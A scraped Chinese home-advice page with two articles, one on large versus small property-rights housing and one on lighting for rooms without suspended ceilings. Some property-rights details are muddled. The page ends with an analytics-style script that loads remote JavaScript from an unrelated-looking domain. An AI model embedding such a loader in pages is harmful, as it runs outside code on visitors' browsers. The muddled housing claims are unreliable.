大产权房和小产权房的区别是什么

曾经去看过房子或是购买房子，对于房子有一定了解的人，就可以知道房屋的类型是可以分为很多种，其中就有产权房与商品房等等类型。在产权房范畴里，它又可以分为小产权房与大产权房。小产权房与大产权房虽然只差了一个字，但它们之间的差距却是非常的大，消费者要能弄清楚两者区别。那么，大产权房和小产权房的区别是什么呢?大产权房和小产权房的区别一、小产权房1、小产权房的房产证由乡镇政府颁发，职工并没有实际的产权。2、职工想要转让小产权房的话，必须在购买五年之后才能够进行。3、小产权房的建设用地一般是归乡政府集体所有，并且这类房产只能由这个乡的村民购买居住。4、购买小产权房之后，若要再转让，必须补交土地出让金，否则便不能够上市交易。二、大产权房1、大产权房的房产证由国家颁发，被国家认可和接受。2、职工可以自由出售或转让大产权房，没有时间上的限制。3、大产权房的用地是由国家(也就是当地政府)划拨或者转让的，销售对象可以是任何人。4、购买大产权房之后，购买者可以自由进行使用、出售或转让，不用补缴任何费用。买小产权房会具备一定的风险1、缺少“五证”“五证”即具备国有土地使用证、建设用地规划许可证、建设工程规划许可证、建筑工程施工许可证及商品房销预售许可证。如果没有“五证”是不能办理房产证的。没有产权，不受法律的保护。2、拆迁难补偿除了不能办理房产证外，那些“便宜房”实际上属于在政府规定范围以外的违章建筑，如果和国家的规划相冲突，还很有可能被拆除，而且业主也不会得到拆迁安置补偿。3、质量难保证房屋质量没人监督，一些开发商为赚钱会偷工减料，存在安全隐患。这类房屋一般由土地所在村开发，除了房屋质量和房屋售后保修难以保证以外，入住后的物业管理也极容易出现问题。4、小产权房不能抵押或者上市转卖由于没有正规的产权证，小产权房不能作为抵押或上市专卖。这些都是购房者在购买小产权房需要注意的地方。5、小产权房不能抵押贷款小产权房不能在房地产管理部门登记备案，所以不可以办理抵押等他项权利，没有他项权利就相当于没有合法的质押物抵押到银行，银行贷款就无法批复。大产权房和小产权房的区别是什么?大产权房比小产权房更具优势，无论是买卖还是投资都能显得更加的简单，购买大产权房的风险比较小，当然它的价格也会更贵，但人们投资大产权房不担心会“打水漂”。但是投资小产权房的风险却是比较大，而且无法贷款、无法直接出售等等，尽管小产权房的价格比较便宜，在购买的时候消费者也应该要谨慎。

没有吊顶的房子，可以搭配什么样的灯具

没有吊顶的房子可以选择风格合适的灯具，让家居装修达到最佳效果，不过客厅装饰还是要讲究，决定了以后是否可以享受高质量的家居生活。那么，没有吊顶的房子适合什么类型的灯，怎么选择灯具。一、没有吊顶的房子安装什么样的灯具如果起居室没有吊顶，最好选择一个有质感，明亮的吊灯或吸顶灯。如果客厅的高度较高，您可以选择安装白炽灯吊灯或圆形吊灯，给您一种豪华和宏伟的感觉。如果客厅的高度很矮，您可以使用吸顶灯和落地灯的组合，可以让整个客厅明亮而宽敞，具有现代感。二、没有吊顶的房子，如何安装灯让风格更气派1、一般情况，只要在水电装修中留有固定的线路，就可以按线路安装足够了。虽然是没吊顶的客厅，但灯具仍然可以安装在天花板上，但这种情况只适合安装小灯具。2、不安装天花板，还想要提高室内装饰效果，那么可以在天花板上面安装一定数量的小灯，可以增加整体美观，而且夜间照明也很好，耗电量不会特别大，实用性也很强。3、没吊顶的客厅安装小型灯具，不仅可以起到装饰效果，还方便人们使用。晚上起床，无需打开前大灯，迎来一阵眩光，只要打开小灯就可以起到照明的作用，在一定程度上有利于个人健康。4、不要做天花板，可以使用壁灯，这是个不错的选择，这是因为很多灯都比较亮，即使是挂在墙上，效果也可以很好。但是，如果您想让房间更亮，则需要每隔5米使用一盏壁灯来让整体空间更亮。没有吊顶的房子可以安装各种各样风格的灯具，营造不同的效果，只要做好设计，不装吊顶也没有问题。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();